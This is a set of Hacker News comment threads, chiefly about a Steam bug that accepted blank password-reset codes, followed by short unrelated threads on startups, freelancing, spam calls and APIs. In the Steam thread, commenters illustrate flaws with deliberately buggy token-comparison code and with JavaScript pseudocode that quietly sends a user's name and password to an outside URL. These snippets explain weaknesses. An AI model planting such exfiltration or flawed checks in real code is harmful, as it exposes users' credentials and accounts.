Steam hit by major security breach - <AUTHOR> http://masterherald.com/steam-hit-by-major-security-breach-many-accounts-hacked/23239/ <comment><USER2> The exploit has been fixed, and this video shows how easy it was to perform: [https://www.youtube.com/watch?v=QPl_BJoBaVA](https://www.youtube.com/watch?v=QPl_BJoBaVA)

TL;DW: Steam accepted blank recovery codes for password resets, enabling passwords to be changed without needing access to the recovery email account.

I hope someone is writing a new test case.

<comment><USER3> > Steam accepted blank recovery codes for password resets

Sample buggy code (that I just made up):

(user_token is user supplied token, token is the correct token)

      for(i = 0; i < strlen(user_token); i++) {
        if(user_token[i] != token[i]) return false;
      }
      return true;

If code is blank this will falsely return true. This is also subject to truncation attacks.

I'm trying to think of a bug where blank fails, but truncated versions do not.

<comment><USER4> Another not-so-obvious bug with your example buggy code: it's also vulnerable to timing attacks.

[http://codahale.com/a-lesson-in-timing- attacks/](http://codahale.com/a-lesson-in-timing-attacks/)

<comment><USER5> True, but I don't think Steam allows you enough tries to make it viable.

</comment></comment></comment></comment><comment><USER6> Take a few minutes and re-evaluate your password reset scheme. They are treacherously difficult to get right. Every pentest we did, we made a beeline for the password reset functionality; it was often a cheap, quick gameover bug.

<comment><USER7> I spent a week consulting for a small education software start-up and was horrified when I saw that their password reset process was the following:

1\. An anonymous person sends a message via Google Chat to the support Gmail address.

2\. A staff member would ask the anonymous person for the username of the account for which to reset the password.

3\. The anonymous person would present the username.

4\. The staff member would reset the password and create a temporary password and would then give that anonymous person the password. The staff member would then explain how to change the password once the anonymous person had logged in with the temporary password.

I spent too long trying to explain to the staff and the CEO why it was a problem that any person could gain access to any account...

<comment><USER8> It wasn't a YCombinator startup, was it?

<comment><USER9> I doubt he's allowed to share that information (whether it is, or isn't), and you shouldn't tempt him to, either.

</comment></comment></comment></comment><comment><USER10> This is why the bigger you are, the more important it is to log almost everything that you can... It sucks from one side, because it is a security risk to log potentially sensitive information, on the other hand it's critical to be able to diagnose problems in the wild.

In this case, if requests for password resets are logging the codes sent (even if the error is present), they would be able to determine which accounts were affected, and return them to the appropriate registered email address (if they were changed).

On the one hand, the storage and compute costs for these kinds of things suck.. but this is exactly what big table solutions are for, be they C*, ElasticSearch, Google, Azure or AWS table storage solutions. If you have more than 10K users on your system, and logging everything possible isn't routine, it should be.

Access to read that log data is another issue entirely.

</comment><comment><USER11> This is what concerns me the most with Valve: you build a library of games over the years, and one day someone hijacks your account (because of improper testing on Valve's side) and you lose it or it becomes banned, and you are left with nothing but your eyes to cry.

At least with GOG this would never happen (at long as you save your games locally), but the GOG catalog is way smaller than Steam's.

<comment><USER12> The good thing with Valve is that although they make comically terrible mistakes like this, they know they're bad at getting stuff right and put traceable information on _everything_

Get falsely VAC banned? They'll detect this and know exactly what happened and revert the issue. Have your account hijacked? They'll trace exactly what happens and fix it all up. Not to mention that this change triggered the standard 'you can't trade or market any games/items on your account for 7 days' block, so even when someone takes your account you don't actually lose anything.

Valve makes some incredibly bad bugs in their software (games as well as Steam itself), but at least they track and trace everything so they can unwind their screw-ups.

<comment><USER13> Disclaimer: I currently make my living thanks to valve software

Hah, maybe if you're lucky enough to actually hit a human. Valve has ludicrously terrible support. There have been tons of reports of 1-2 week wait times after submitting a ticket, only to receive an automated response with nothing to do with the actual ticket (even experienced this myself a few times, not fun).

People are quick to praise valve but I don't think it's truly deserved anymore. Sadly the days of them caring about their products and communities are long gone..

<comment><USER11> > Hah, maybe if you're lucky enough to actually hit a human

To be fair, Valve is probably not fit to have proper consumer support since they are still a very small company (with a HUGE customer base). Unless they decide to invest in headcounts to have proper support, that is.

<comment><USER13> To be fair, last I checked valve is a multi-billion dollar company, not some small-scale startup. They could easily build out a quality support infrastructure but choose not to.

<comment><USER11> > multi-billion dollar company

checked with what? Valve is not a public company nobody actually knows how MUCH they earn. you can only estimate it.

> not some small-scale startup

They are very small scale in terms of employees numbers. Check your facts.

> They could easily build out a quality support infrastructure but choose not > to.

For that statement, I agree with you.

<comment><USER14> At any reasonable estimate of Valve's revenue and valuation multiples, they're easily a billion dollar company, I'd be surprised if it was as low as only $1B. They have nearly 500 employees listed on LinkedIn[1] which is probably a decent estimate given people who've left but haven't updated their profiles and those without profiles in the first place. That's not a small company by any stretch, and I think we can all agree they're purposefully making the decision to not offer competent support.

[1] - [https://www.linkedin.com/company/13922?trk=tyah&trkInfo=clic...](https://www.linkedin.com/company/13922?trk=tyah&trkInfo=clickedVertical%3Acompany%2Cidx%3A2-1-4%2CtarId%3A1437979031171%2Ctas%3Avalve)

<comment><USER11> > I'd be surprised if it was as low as only $1B. They have nearly 500 > employees

> That's not a small company by any stretch

Please, give me more examples of billion dollars companies which have only 500 employees.

<comment><USER15> Instagram. Oculus. WhatsApp. SuperCell. GungHo. Mojang. Twitch.tv.

It'd be easy to go on. And I'd bet there's no way Valve is just a $1 billion company.

<comment><USER11> I don't know about all of them, but do you realize that we are talking about 1B$ ACTUAL revenue in current dollars of sales, not valuation ? These are two very different things.

<comment><USER15> I'm pretty sure the discussion was about valuation / market cap:

> At any reasonable estimate of Valve's revenue and valuation multiples, > they're easily a billion dollar company

<comment><USER16> How about valuations based on revenue then...

<comment><USER11> If they already have one billion in revenues their valuation is likely much higher than that.

<comment><USER16> Instagram, Oculus, WhatsApp, Twitch.tv don't have a billion dollar revenue.

<comment><USER11> That was precisely my point.

</comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER17> As part of one of my academic projects, I did a bit of research on password reset functionality of about a dozen major websites. It was interesting to note that each and every website had implemented it in a different manner. So much difference in the process and the lack of a standard procedure was shocking, though understandable. It was interesting to brainstorm and discuss about the rationale behind each of the password reset process and the User Experience decisions involved.

I also noticed a frighteningly large number of small websites that get 'password reset' absolutely wrong, compromising their users' accounts. It is something that is very difficult to get right, unless thought through completely before implementation. Whenever I signup for a new user account on a fairly new website, I try to use a dummy throwaway password on the first attempt and then try the password reset option to see if the website is actually serious about security. It is like a litmus test for me to decide about continuing to use the website and trusting them with more of my data.

<comment><USER18> Can you give some examples of what you'd consider red flags in a site's password reset procedure? I'd be really curious; this is an area that I've thought about as a "necessary but horrible-for-security thing".

<comment><USER17> A few examples of unacceptable practices followed by certain websites include:

\- Sending your password to your email in _plain text_. \- Allowing user to set new password just by answering simple personal details like DOB, Zip code etc which might be known to a number of your friends and family members.

Often it is simple enough to implement a password reset functionality with a reset-link that contains a GUID which expires after a certain period of time. It could be more secure, but is a tradeoff between providing greater security and a longer reset process.

One of the major risks of websites with very naive reset procedures is that many people use the same password with multiple websites. So if a user's password gets compromised on a site, then the attacker can easily try those passwords with other services and gain easy access to user data.

<comment><USER19> The real issue with getting your plain text password in an email is that it means the site is not hashing passwords at all.

<comment><USER20> Only if the send you your old password. If they reset your password, they can send you the plaintext first, then hash the password and store it in the database.

<comment><USER21> No. The problem is that email isn't encrypted on the backend. Sending a plain text password means every server between the website's SMTP server and your email provider's SMTP server can see the password.

<comment><USER22> As opposed to what? Every server between the website's SMTP server and your email provider's SMTP server can see the password reset link?

<comment><USER23> When implemented correctly, password reset links

a) Work once. If you click on a password reset link and it says it's already been used, you know something is up, v.s. someone using the plaintext password to log in before you and you are non the wiser.

b) Expire. Lot's of people won't bother changing the password that was given to them, so anyone who comes across a plaintext password in the email at a later date would be able to log in.

<comment><USER22> Both of these things can be true with temporary plaintext passwords.

<comment><USER9> > Both of these things can be true with temporary plaintext passwords.

In that sense, a password reset link _is equivalent to_ a temporary plaintext password.

Except it's got better usability, being a link that you can click on.

</comment></comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER24> Text of the message sent to Steam users:

"Dear Steam User,

On July 25th we learned of a Steam bug that could have impacted the password reset process on your Steam account during the period July 21-July 25. The bug has now been fixed.

To protect users, we are resetting passwords on accounts that changed passwords during that period using the account recovery wizard. You will receive an email with your new password. Once that email is received, it is recommended that you login to your account via the Steam client and set a new password.

Please note that while your password was potentially modified during this period the password itself was not revealed. Also, if you had Steam Guard enabled, your account was protected from unauthorized logins even if your password was modified.

We apologize for any inconvenience."

<comment><USER9> > Please note that while your password was potentially modified during this > period the password itself was not revealed.

Why would you tell people this? :-) The worst that can happen is that they figure out password re-use is a bad thing, panic and change it on all those other sites they use it ;-)

</comment></comment><comment><USER25> The first thing that came to mind when I read this headline was Valve's famous structureless work environment. If there's no structure, who handles all the grunt work noboday wants to do... like security?

Even if somebody is explicitly assigned to security, I'm not very confident they'd have the authority to make all these freewheeling ad hoc teams adhere to good practices.

<comment><USER26> A few months back I had a discussion with a Valve developer about the sandboxing they use for the Steam Overlay and its embedded web browser. I was describing how their sandboxing was inadequate and vulnerable, and he responded by explaining how they had done things correctly and listing the measures they took.

Then I explained that the measures were incomplete and the embedded browser wasn't actually secure (among other problems, the sandbox was running as Administrator with the debug privilege...) He investigated, and saw that the sandboxing was never finished by the engineer who worked on it. So he took some time to go finish it himself. Up until that point, Valve had been operating under the assumption that they had a working sandbox - worse than if they had no sandbox at all.

The above is merely an anecdote, but I've heard a lot from current/former Valve employees to the effect that engineers are rewarded for doing high- profile/high-impact work and not encouraged to do much else. If you interact with them as a game developer you can really see this in action with how they ship Steamworks updates - major features break without warning, bugs go unfixed, no real support channel, incomplete documentation.

I spent a couple weeks building out Steam Workshop support for a title. Doing this required identifying and working around a handful of strange, undocumented bugs and API limitations. In the time since we launched, Steam updates have broken the workshop support at least twice, requiring me to spend a day or two figuring out what broke and ship a patch. I've seen similar issues with other titles.

<comment><USER27> My own interaction with two developers there several years ago was that the web was clearly the redheaded stepchild of Valve. I think they said something like maybe 7 people worked on those features back then, one of those two only sort of worked on it. Additionally, they only really had something like 3-4 people focusing on it most of the time.

For years they had prototype.js included, yet the library was essentially dead at that point for at least a year. Now they have jQuery and are running 1.8.X version, which means they are using a 2.5 year old version. I think this kind of speaks for itself.

</comment></comment></comment><comment><USER24> The big disappointment is how long it took them to acknowledge the issue. I was freaking out thinking my gmail account had been compromised. Was up into the wee hours of the morning trying to scrape log-files from my Android devices trying to figure out which one was leaking, since Google said nothing else was connected to my account.

I found out because somebody on Steam forums linked me to a Reddit thread on the subject.

Yeah, this is one of those "let the users know ASAP!" things.

</comment><comment><USER28> Wow reset token blank worked. How in the world could their backend not check for an empty token, or even how is this validating true against the value in the database?

<comment><USER29> I'd expected better but it's quiet perplexing as to how they missed it.

<comment><USER30> They don't seem to have any automated or manual testing before deployment (or at least, extremely little)- for example, one recent bug was that all the prices on the store disappeared, and nobody could buy anything.

</comment></comment></comment><comment><USER31> Enable Steam Guard, and it will force anyone logging in from an unrecognized device to submit a code they send you via text or email.

<comment><USER32> From the post:

> It's not yet clear if Steam Guard offers sufficient protection from the > exploit, as there have been some reports from users claiming that their > accounts have been compromised even with Steam Guard enabled.

It's always good to have some kind of 2FA active, but it's unclear if it helped in this case.

<comment><USER33> If you get hacked from a machine your previously authenticated I guess Steam guard will not work.

</comment></comment></comment><comment><USER34> This isn't one of those "change your passwords" moments, is it? Based on how this exploit worked, I would assume you'd already know if your account was breached and that there is no on-going risk after the fix?

<comment><USER35> I changed mine anyway; I've been meaning to change to a more secure password. I definitely think that if your account wasn't compromised, you don't _need_ to change your password.

</comment></comment><comment><USER36> One little know cool thing steam has done for a while is encrypt passwords with a RSA public key before they are sent server side.

Yes, js crypto is not worth a whole lot but it is a valuable security tool to be used with TLS. There are some neat things they could be doing with this encrypted password (other than plainly decrypting it) that add a fair bit of security (no more than just a regular hash though).

<comment><USER37> No not really. It highlights how incompetent Valve is at security.

If you cannot trust the webserver or whatever is being served to you, JS crypto isn't going to do anything. They could just send you a login script that sends your unencrypted password elsewhere.

<comment><USER36>
        It highlights how incompetent Valve is at security.

Adding one feature shows they are incompetent at security? Great real.

Without more information about the scheme there's nothing to know. Whether useful or not it is still neat and can be used for benefit, but not for something TLS like.

<comment><USER38> Adding a feature that feels like security but actually isn't, would not be a good sign that they have a good understanding of web security.

What's the difference between 'client sends plaintext password' and 'client sends encrypted password' from the point of view of an attacker? All you're aiming to prevent is client-side interception but in reality it doesn't matter what you do to the password locally - if what you send is what the server expects then you still get in; the encrypted plaintext effectively becomes the password. Thus an attacker who can intercept a plaintext password is at no disadvantage intercepting an encrypted or hashed password instead, since it's still valid password data as far as the server is concerned.

If you as a service provider want to deal with an encrypted password at all times then why not just do that at the server end? And as the parent said, if as a client you can't trust the intentions of the server with respect to your password then encrypting it locally does nothing when they hold the keys to decrypt it, and provide the software you're using to do the encryption and transmission.

<comment><USER39> It actually is a feature that adds value though.

The way it worked was valve provides the RSA mod, exponent, and a timestamp.

You rsa-encrypted your password with that information and send it. They double checked server-side that you encrypted it with that information, decrypt it with their private key, and get on with checking against the hash in the database.

What this buys you is that if an attacker intercepts that login, it can't be re-used. Next time, valve will give a different mod and exp. Next time the valid encrypted password will be different. It turns the user typing the same password every time into a new encrypted value each time with each being valid for a short amount of time.

So that's what RSA buys you here.

<comment><USER37> TLS already ensures that the attacker cannot intercept the login.

If you cannot trust the TLS connection, all bets are off.

<comment><USER39> Defense in depth. It doesn't hurt to have more layers.

Anyways, we all know you can't trust TLS because any rogue CA can compromise the security of any domain. Any of the CA hacking in the last while means that a valid certificate for steampowered.com could be issued by the hacker. Similarly, on corporate networks, a rogue employee with access to the root for the default-installed company CA could MITM any of the employees.

Some corporate networks and schools just MITM all traffic by default, and in some cases log a portion of it. If that log were leaked or poorly secured, it would help to have another layer on top of that.

There's no question that TLS is imperfect and no question that when it comes to security you should pile on as many layers as possible and assume every one of them might be broken.

<comment><USER37> You aren't getting it though.

Yes defense in depth is good. But javascript encryption is the weakest link in the chain, it isn't an extra layer of security. This is something that many people seem to have trouble understanding.

As I just said in my original post, if you assume someone can already emulate your domain, all you have to do is edit the javascript to send the unencrypted password to your server and pass the encrypted version to the real server. No amount of layers of security is going to save you from that.

Maybe this pseudocode will help you understand.

      function submit(user, pass) {
        $.get('http://news.ycombinator.com/dump/?u='+user+'&p='+pass) // you will never notice this
        var encrypted = encrypt(pass)
        send(user, encrypted)
      }

<comment><USER39> You don't need to be so condescending; I understand js crypto is typically a fools game.

Your example does fail for one of my examples; the case of a poorly secured log from the passive MITM of all connections at a company / university.

If the MITM was simply passive, without encryption the password (possibly valid for other things as well) has been leaked, but with the above encryption scheme it will not have been.

Anyways, the main client to this mechanism is not the browser, but the steam client which very well could verify the hash of the javascript files provided to it or their signature since valve has significantly tighter control over it.

I'm not saying that this scheme is a good idea or significantly more secure, I'm just trying to explain what could justify it.

<comment><USER40> You can't do _passive_ MITM of TLS if the server is properly configured to use ephemeral key exchange, even if you have its private key. And even without ephemeral kex, and you somehow obtain a secondary trusted CA-signed cert for Steams domain, you _still_ can't do passive MITM.

JS crypto really is worthless if you can't trust the connection.

</comment></comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER41> How is it that I don't see anything about this exploit on any of their sites? It's not on the steam store website, not on the Valve site, and not in Valve's news feed.

</comment><comment><USER42> How long has this been active? Reason I ask is that I once had my account hacked many years ago, it took a few days but I got it back.

<comment><USER43> Until recently Steam handled password resets through the client. The new web- based reset interface was introduced less than a month ago: [http://steamcommunity.com/groups/SteamClientBeta#announcemen...](http://steamcommunity.com/groups/SteamClientBeta#announcements/detail/52138466991582333)

I'd assume that this bug was added then.

</comment></comment><comment><USER44> This site raises my blood pressure; I can't view the content because of nonsense popups giving me definitions of words like "account".

<comment><USER45> No need to have a stroke. Just install ublock origin. Underline and ad-popups are gone. Done.

</comment></comment><comment><USER18> FYI Steam also has a mobile authenticator as part of the Steam app now; I remember seeing a banner for it pop up in Steam news not too long ago:

[https://support.steampowered.com/kb_article.php?ref=8625-WRA...](https://support.steampowered.com/kb_article.php?ref=8625-WRAH-9030)

</comment><comment><USER46> Now I understand how I lost my account a week ago. Not that I used it too much.

</comment><comment><USER47> Is it advisable to change your password in this case? Is there anything other you can or should do to secure your account even though some report it is fixed?

</comment><comment><USER48> What a hyperbolic article. Valve will undo any damage. It's absolutely silly to think that they'd enforce a VAC ban due to abuse on their system.

<comment><USER49> This exploit was mostly used to hit Twitch streamers. People whose job involves using their Steam account. They had hours of reduced revenue due to this attack and I find it unlikely that Valve will even acknowledge any opportunity costs, let alone reimburse them.

<comment><USER48> Nor should they. Is someone paying Valve for a particular SLA? I'd guess not.

I was talking about stolen items and VAC and so on. As if this was a physical robbery where priceless stuff could be lost.

</comment></comment></comment><comment><USER24> Dollars to donuts somebody wrote an overly-permissive NULL check. Nullity ruins everything.

</comment><comment><USER50> Does anyone know if you are liable for disclosing bugs irresponsibly?

<comment><USER34> You could be liable when disclosing bugs responsibly too, as some researchers have learned when investigating voting machine security.

</comment></comment><comment><USER51> ……

</comment><comment><USER52> Did Steam just go down? Maybe from the load that Hacker News is generating?

[https://isitup.org/store.steampowered.com](https://isitup.org/store.steampowered.com)

store.steampowered.com seems to be down!

<comment><USER53> I highly doubt the HN traffic caused Steam to go down, their statistics page[1] shows how much traffic they process each hour (and it's a _lot_ ).

1\. [http://store.steampowered.com/stats/content/](http://store.steampowered.com/stats/content/)</comment></comment>


Silicon Valley's Unbridled Optimism Gets Fresh Reality Check - <AUTHOR> https://www.wsj.com/articles/silicon-valleys-optimism-turns-into-shame-of-being-suckered-11548153000 <comment><USER2> When I've started reading the article I had to double check I am not on some parody site like "The Onion" that tries to ridicule SV startups community.

"The company spent millions of dollars raised from investors [...] on on-tap kombucha, arcade games and a six-figure salary for its pedigreed chief executive"

<comment><USER3> Isn't a six figure salary for the CEO pretty normal? The article later said that his salary was 125k, which is how much a 22 year old college graduate makes at Google. The on-tap kombucha and arcade games are probably a rounding error in their budget. The article is trying unfairly to paint them as a bunch of reckless hedonists.

<comment><USER4> Not sure it's useful to reason about CEO pay independently of company performance. Google's revenue and profit per-employee are quite high. If your startup is just bleeding money on hopes and promises, it's probably harder to justify a salary that high. The cut below 6 figures happened in the context of layoffs...

CEOs of very early companies that don't have an established business model and are dependent on investors to stay afloat should expect most of their compensation in equity, not salary.

<comment><USER5> Equity doesn't pay the rent. $122k in Silicon Valley doesn't go far.

<comment><USER6> Single guy would still be ok with that.

<comment><USER5> Exactly, a young CEO without a lot of savings probably meets that criteria.

A founding CEO with a family might have other sources of income to rely on, and be able to get away with less.

</comment></comment></comment></comment></comment></comment><comment><USER3> Non paywall: [https://outline.com/ywDFzd](https://outline.com/ywDFzd)

<comment><USER7> Bookmarklet to send URLs to Outline:

      javascript:(function()%7Bwindow.location.href %3D 'https%3A%2F%2Foutline.com%2F' %2B window.location.href%7D)()

Taken from: [https://www.designernews.co/comments/257987](https://www.designernews.co/comments/257987)

</comment></comment><comment><USER8> "Mr. Lindsay has told associates he is bringing in a new high-level hire[0] for strategic help."

[0] [http://www.piedpiper.com/introducing-jack-action-jack- barker...](http://www.piedpiper.com/introducing-jack-action-jack-barker/)</comment>


Seven ways to get unfollowed on Twitter - <AUTHOR> http://www.silicon.com/management/sales-and-marketing/2011/08/17/seven-ways-to-get-unfollowed-on-twitter-39747817/

<comment><USER2> 8\. Fail to gracefully handle trolls.

I follow Alton Brown, who I really enjoy watching on television. Alton is a food hacker, and I love him for it. The problem is, as much as Alton "gets" food, he doesn't "get" twitter. Most of his tweets are great, but he doesn't cope well with the open, public communication channel that Twitter provides. Twitter is unfiltered, so you're going to have to deal with trolls. I saw him suffer a fairly significant early-stage loss of followers over a troll battle.

 _Note: He's gotten much better recently._</comment>


Bootstrapping by freelancing - <AUTHOR> http://startupinmexico.com/4-bootstrapping-by-freelancing/

<comment><USER2> Sorry, not sure how well this applies to Mexico but...

I did the freelance/startup combination for about five years. Its ok once if you can pull it off, but I do not recommend repeating it. I have a lot of friends that do this, and on the whole I think it is a vicious cycle. I don't mean you shouldn't freelance to fund a company. If that seems the way forward, then do it - once. But you shouldn't do this repeatedly. Its an easy cycle to get into. Instead, you should work at startups in between founding startups.

I find that you can get into this pattern:

1) Focus on billing in boring contract work to get spare cycles to work on startup. Learn new skills to apply in new startup on your own time. 2) Startup makes progress, focus on startup, startup doesn't make it (most don't), savings run out. 3) Cling to hope. Debt. 4) Repeat.

Most people I've known do not eject efficiently in stage 3, and bear excessive credit card debt, etc. Whereas if you get a job at a startup, you can enter this pattern, and even if all these companies tank, you're better off:

1) Work a job at a startup where you do very interesting work, get paid to refine your skills, gain highly relevant experience. 2) Repeat 1, increasing in job coolness/responsibility. Save money. 3) Now that you've built a reputation and network of excellence by working at startups, start a company that has a better chance of succeeding using your experience, cutting edge skills, network of potential co-founders and relationships with investors, potential employees and customers.

I was in the first pattern, now I'm going for the second. Looking across many successful founders, this seems to be the most frequent way to arrive at a good outcome. I value the experience from the first pattern, but my life is so much better now that I'm in the second. I wish I'd entered it earlier. Note: I had to move to silicon valley to enter the second pattern.

You might do well with your first company part timing it, but I find that struggling and part timing it is just a less effective way to learn to build companies than participating in a later stage company. Other than the entrepreneurial drive itself, I think that building companies is actually something you learn, and that its something best learned by doing. You can get early stage experience just starting something. You only get that later stage experience in your own company if it makes it that far - but you can get it by joining a startup at any time.

I think a lot of people, especially those outside of silicon valley, miss this completely. We tend to focus on the icons of silicon valley - pairs of young people that hit it big the first time out. But most successful companies actually come from experienced engineers/entrepreneurs that got on the job training at other startups. People work together, then they start companies together. Ever since the Fairchild traitorous 8. <http://en.wikipedia.org/wiki/Traitorous_Eight>

<comment><AUTHOR> Thanks for the great response.

I would love to work for a great startup, but unfortunately we don't have much of that here. I'm hoping that even with a moderate success, I can inspire others to actually starting something.

I've been trying to bring friends to work with me and cofounders but they either don't want to or they lack the passion.

So yes, I'm going to continue with the freelance work and I'll hopefully only pull this trick once.

<comment><USER2> Good for you! Go for it!

</comment></comment></comment><comment><USER3> Freelancing while trying to run a start up can be extremely tricky, I know, I've done it. I often found myself burnt out from client work (the work I didn't really want to do) which impacted the quality and quantity of the work that I did for the start-up (the work I did really want to do).

I'd say, if you must go down this route, really try to limit the work you do for others, take as little work as possible. Next, try and set times that you work on client projects, and times that you work on the start-up. Stick to the schedule you set up (put the start-up work in your most productive time slots). If you can't manage that, work like a demon on the client project exclusively, bang it out, then get back to the start-up asap.

</comment><comment><USER4> What I love about this story is that it demonstrates the grit and determination of a guy to get his dream alive despite having no financial cushion to do it from.

I actually get sick and tired of hearing the mantras of "don't take funding, its best to bootstrap" from people who have so much money it doesn't even enter their thoughts that people like this guy are scraping just to get by.

I think there are issues with using freelance work to cover a startup - but if it is the only option you got then you take it.

I certainly bet he'll worker harder then the many founders I have known who's company was essentially floated from Daddy's money or the trust fund, etc.

<comment><AUTHOR> I'm speechless. All this response got me by surprise, so thanks to you and everybody else!

<comment><USER4> BTW I sent you an email via your portfolio's contact page.

Hope you got it - would like to put some work your way!

</comment></comment></comment><comment><USER5> Armando helped us with Cloudomatic.com. He's absolutely fantastic, gets his shit done fast, and I'd recommend him to anyone on HN. If anyone has further questions email myself or Andres: firstname.lastname@example.com

<comment><AUTHOR> Thanks. And working with cloudomatic was a pleasure and a frenzy weekend

</comment></comment><comment><USER6> Two comments:

(1) technically it isn't bootstrapping if you aren't growing off revenues. That's funding off savings. It's useful to make the distinction as it makes it clearer whether the business is break-even.

(2) if you're looking for design work, you should make it clear whether you've done the coding or the layout or the graphic design for the sites listed. Did you draw the images yourself or design using photoshop and supplied graphics, etc.. Good luck!

<comment><AUTHOR> (1) Really? I think I have the bootstraping concept all wrong :P

(2) You are right. I've done both on most of the site listed (and WordPress implementation). I'm working on my new portfolio and there I'll make that stuff clear.

</comment></comment><comment><USER7> In my experience the best way to juggle freelancing and a startup is a to have at least one person who is only doing work on the startup. Additional people can split their time between the startup and freelancing but you need one person who is 100% dedicated to the startup. That of course means you need 2 or more people involved.

Enforce this to the point where the person/people doing freelance work don't discuss it while the dedicated startup person is in the room.

This ensures the startup is always moving ahead no matter how much freelance work is happening and that you have at least one person whose headspace isn't cluttered with freelance billing, deadlines etc. Even just knowing about a freelance project that is behind schedule or about a difficult client is a drain on the startup so keep it contained.

<comment><AUTHOR> I know! But I have not been able to find a cofounder. I've yet to find somebody with the correct combination of a skill set and passion.

<comment><USER8> Have you thought of relocating?

</comment></comment></comment><comment><USER9> I tried it but it wasn't easy mostly because those clients are like every other client: they will try their best to get just-another-small-thing from you. So be prepared to deal with feature creep. For me it was also annoying that I couldn't get my idea out of my head so I had no motivation except for the money to work on anything else.

My advice: get a full time job on a small web company for a year. You'll learn a lot about everything business related and you might save enough to work on your own thing for some time after you quit.

</comment><comment><USER10> I've seen, and enjoyed your work before, and had no idea you were _that_ cheap. ;)

Drop me a line with your new rates, I'd love to keep in touch for future work.

<comment><USER11> Please send me an email as well. email@example.com. Thanks.

<comment><USER12> If I am not too late to the party, I would also like to establish contact. We are also working on a bootstrapped startup, so maybe we can offer some interesting tasks. :)

E-Mail address is in my profile.

</comment></comment></comment><comment><USER13> You should totally charge more. Your portfolio is impressive!

<comment><AUTHOR> Thank you!

<comment><USER8> If you are not getting at least some rejections based on your price, you are probably too cheap.

</comment></comment></comment><comment><USER14> Armando! Glad to see you're doing well. Good post and good luck, bud, I'm subscribed.

Hire this man, he's very reasonably priced and works fast on top of that.

</comment><comment><USER15> Hey, good luck.

I also bootstrapped my company through contracting work, and as of this year, I'm ramen profitable. I'm not quite opportunity cost profitable, but I'm moving in that direction at a fairly high velocity.

Some of my lessons:

1\. I make a lot of money as a contractor, compared to what people I know who can do many of the tasks required for my company.

(cultivate relationships with people who are poor but skilled!)

Until very recently, my personal primary focus was on contracting, and people who worked for me would focus on my company.

2\. Avoid debit at (nearly) all cost.

If you have debit, recovering from mistakes is much, much more difficult. buy what you need, when you have the cash. Debit (and a mistake) very nearly killed my company. I essentially ended up ignoring my company for a large part of a year while I worked to pay it off.

It will be hard, but you know? so is getting funded.

<comment><AUTHOR> Thanks for the advice! And I like your company a lot.

</comment></comment><comment><USER16> I'm in a very similar situation. Doing some freelance programming while working on my app(startup hopefully). I'm in Mexico City though. If you're ever in town we should get together and share some stories!

</comment><comment><USER17> Hi Armando, I like your work and if you are looking to do some freelance UI design work please drop me a note. I am interested in working with you.

</comment><comment><USER18> Do you have a partner yet? I know some friends who are looking for designers in mexico city, let you work remotely and pay fair salaries. I might also be able to find some angel funding for you. Write me a gmail to joseakle

</comment><comment><USER19> Hey Armando: We're looking for someone to help with front-end on a project basis. Would love to talk. Drop me a note. Jessica

</comment><comment><USER20> Great post Armando, and anything I can help you with let me know.</comment>


Ask HN: Why Can't Phone Carriers Stop Spam Calls? - <AUTHOR> <comment><USER2> They can but they won't because it's a revenue stream for them just as mail spam is a major revenue stream for postal services.

I'm at a loss why regulators don't do anything about this (well, other than downright corruption, that is ...).

<comment><USER3> How is phone call spam a revenue stream for carriers? Most plans these days are unlimited calling. Under that assumption, spam calls are cost and bad customer experience.

<comment><USER4> Sure, personal plans have unlimited calling. But a call center? That's multiple phone lines at business rates, and often an internal phone system as well. These are likely special, more expensive lines since they aren't receiving outside calls. I'm going to guess there are international agreements that allow for some of the cost of international connection to be paid by the caller as well (yet another way to make money: International calls).

On the other end, if they were to try to stop spam calls, it would cost money. You'd have to have a way to find out if a caller has legitimate business or not: A collection agency might be marked as spam quite a bit, yet shutting them down would likely mean a lawsuit. Sales calls seem to fall into a weird grey area. There would need to be a system for consumers to report spam calls. These all cost money to build and maintain.

Not to mention enforcement, which would be especially tricky given international calls and the bit about legitimate businesses being marked as spam.

</comment></comment></comment><comment><USER5> Just write me a quick script to find all spam callers, we'll cancel their numbers even though we make money off them. Ohh, and you can't mess up at all. If we cancel someone's number that isn't a spam caller their going to be pissed. Ohh, and also these spam callers can change their number 100 times a minute because of voip. good luck!

</comment><comment><AUTHOR> I guess I'm just curious how and where spam callers enter the telco system, and why they are so difficult to stop...

<comment><USER6> The PSTN is like a worldwide message queue with no authentication what so ever. Anyone can enter from anywhere in the world and spoof any number they want, even those that can't potentially exist.

</comment></comment><comment><USER7> Some of the time it's not spam, and they just can't afford denial of service.</comment>


Realtime API Management with Pushpin and Kong - <AUTHOR> http://blog.fanout.io/2015/07/14/realtime-api-management-pushpin-kong/

<comment><USER2> "All APIs can benefit from API management, realtime or not." Amen to that! :-) It's good to see this kind of thing coming to realtime, although it's kind of sad that some of the backend services mentioned don't have support for WebSocket yet...

<comment><AUTHOR> Realtime is still a fairly new concept in the world of API tools. The realtime APIs most of us know about (e.g. Twitter, Dropbox, etc) were all built from custom infrastructure. We'll get there. :)

</comment></comment><comment><USER3> This is a great addition for real-time/streaming APIs</comment>


The Meaning of Work - <AUTHOR> http://www.washingtonpost.com/wp-dyn/content/article/2006/11/18/AR2006111801189_pf.html <comment><USER3> So... what's the point of this article? Young man who:

* quits HS early, has multiple opportunities to get equivalent degree but doesn't

* quits his first job without another lined up

* 'hangs around' for a couple of years, but somehow...

* lands a steady (albeit crappy) job at Jiffy Lube, yet...

* doesn't bother showing up for his first or second day because 'reasons',

is discovering that life, in fact, is hard. How is this a societal problem, or anything other than 'lazy kid can't keep a job because of his own personal problems'?

<actually read the final section after posting this>

just to update, it appears that by the end of the article, our 'hero' discovers that showing up to an interview early, dressed in suit and tie, with a warm smile and firm handshake, does indeed stack the deck in your favor. Continuing to show up early and do the job you've been hired for means they'll continue to pay you. Shocking expose by WaPo right there.

Don't get me wrong, I'm glad the guy found work by the end of the article, and I hope his attitude changes and he reaps nothing but success. However, up until that point it appears that the majority of his troubles are of his own making. I still fail to see how the above bullet points are society's problem, which seems to be the point the WaPo article dances around.

<comment><USER4> 1)"his neighborhood's unemployment rate 16.3 percent"

2)Chris began his new job. Eight dollars an hour, 40 hours a week, $16,640 a year.<> An income of $11,490 for a person is defined a the poverty threshold.

3) She is 52 years old, and after 10 years of working as an attendant at a nursing home, a job that paid her $7 an hour when she began and $9.75 an hour when she was let go, she wonders if she will ever work again.

